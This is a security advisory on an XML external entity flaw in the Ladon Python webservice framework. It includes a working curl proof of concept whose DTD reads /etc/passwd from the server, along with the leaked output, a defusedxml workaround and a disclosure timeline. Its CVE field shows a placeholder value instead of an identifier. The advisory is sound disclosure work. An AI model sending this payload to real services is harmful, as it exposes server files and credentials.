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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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Advisory: XML External Entity Expansion in Ladon Webservice

Attackers who can send SOAP messages to a Ladon webservice via the HTTP
interface of the Ladon webservice can exploit an XML external entity expansion
vulnerability and read local files, forge server side requests or overload the
service with exponentially growing memory payloads.


Details
=======

Product: Ladon Framework for Python
Affected Versions: 0.9.40 and previous
Fixed Versions: none
Vulnerability Type: XML External Entity Expansion
Security Risk: high
Vendor URL: http://ladonize.org
Vendor Status: notified
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2016-008
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH


Introduction
============

"Ladon is a framework for exposing methods to several Internet service
protocols. Once a method is ladonized it is automatically served through all
the interfaces that your ladon installation contains. Ladon's interface
implemetations are added in a modular fashion making it very easy [sic] extend
Ladon's protocol support. Ladon runs on all Major OS's[sic] (Windows, Mac and
Linux) and supports both Python 2 and 3."

From the vendor's website[1]


More Details
============

Ladon allows developers to expose functions of a class via different
webservice protocols by using the @ladonize decorator in Python. By
using the WSGI interface of a webserver or by running the Ladon command
line tool "ladon-2.7-ctl" with the command "testserve" and the name of
the Python file, the webservices can be accessed via HTTP.

As a simple example, the following Python file "helloservice.py" was
implemented:

------------------------------------------------------------------------
from ladon.ladonizer import ladonize

class HelloService(object):

    @ladonize(unicode, rtype=unicode)
    def sayhello(self, uid):
        return u"Hello {0}".format(uid)
------------------------------------------------------------------------

This function can then be run as a ladon webservice via the following
command:

------------------------------------------------------------------------
ladon-2.7-ctl testserve helloservice.py -p 8000
------------------------------------------------------------------------

This enables access to the "sayhello"-function via SOAP- and JSON-APIs.

The following command will send an HTTP SOAP request, which will trigger the
function:

------------------------------------------------------------------------
curl -s -X $'POST' \
-H $'Content-Type: text/xml;charset=UTF-8' \
-H $'SOAPAction: \"http://localhost:8888/HelloService/soap11/sayhello\"' \
--data-binary $'<soapenv:Envelope 
xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"
xmlns:urn=\"urn:HelloService\"><soapenv:Header/><soapenv:Body>
<urn:sayhello soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">
<uid xsi:type=\"xsd:string\">RedTeam Pentesting</uid>
</urn:sayhello></soapenv:Body></soapenv:Envelope>' \
'http://localhost:8888/HelloService/soap11' | xmllint --format -
------------------------------------------------------------------------

This will generate the following output:

------------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
   xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
   xmlns:ns="urn:HelloService" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <SOAP-ENV:Body SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
    <ns:sayhelloResponse>
      <result>Hello RedTeam Pentesting</result>
    </ns:sayhelloResponse>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
------------------------------------------------------------------------

The SOAP-API of this service is susceptible to an XML external entity
expansion.


Proof of Concept
================

By including a DTD in the XML SOAP request, attackers are able to include
external entities in the response of the server. In the case of the simple
service the inclusion of the following DTD will result in the exposure of the
"/etc/passwd"-file on the server:

------------------------------------------------------------------------
<?xml version="1.0"?>
<!DOCTYPE uid [
    <!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
------------------------------------------------------------------------

The following command exploits this vulnerability by including the &passwd;
entity as the username in the request:

------------------------------------------------------------------------
curl -s -X $'POST' \
-H $'Content-Type: text/xml;charset=UTF-8' \
-H $'SOAPAction: \"http://localhost:8888/HelloService/soap11/sayhello\"' \
--data-binary $'<?xml version="1.0"?>
<!DOCTYPE uid
[<!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"
xmlns:urn=\"urn:HelloService\"><soapenv:Header/>
<soapenv:Body>
<urn:sayhello soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">
<uid xsi:type=\"xsd:string\">&passwd;</uid>
</urn:sayhello>
</soapenv:Body>
</soapenv:Envelope>' \
'http://localhost:8888/HelloService/soap11' | xmllint --format -
------------------------------------------------------------------------

The server answers with a response containing the passwd-file:

------------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
 xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
 xmlns:ns="urn:HelloService"
 xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <SOAP-ENV:Body SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
    <ns:sayhelloResponse>
      <result>Hello root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:[...]</result>
    </ns:sayhelloResponse>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
------------------------------------------------------------------------


Workaround
==========

The Python package defusedxml [2] can be used to monkey patch the code to
prevent XML vulnerabilities.  The following workaround can be included in the
code, which prevents exploitation:

------------------------------------------------------------------------
[...]
import defusedxml
defusedxml.defuse_stdlib()
[...]
------------------------------------------------------------------------


Fix
===

Currently no fix is available.


Security Risk
=============

Attackers are able to read local files on the server of the webservice
with the privileges of the webservice. Furthermore, attackers are able
to create HTTP request from the webservice to other services on the
Internet or the local network. It is likely that attackers are able to
gain access to credentials for database services used by the webservice.
Attackers may also be able to cause a denial-of-service attack against
the respective webservice. Depending on the data stored on the
vulnerable system and the relevance of the webservice, this
vulnerability may pose a high risk.


Timeline
========

2016-11-29 Vulnerability identified
2016-11-29 Customer notified vendor
2017-07-10 Customer fixed problem in their own product
2017-07-21 RedTeam Pentesting notified vendor
2017-08-11 RedTeam Pentesting asked vendor for status update
2017-09-08 RedTeam Pentesting asked vendor for status update and announced
           public release for end of October
2017-10-09 RedTeam Pentesting asked vendor for status update
2017-11-03 Advisory released (no reply from vendor to status update requests)


References
==========

[1] http://ladonize.org
[2] https://pypi.python.org/pypi/defusedxml


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/


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=============================

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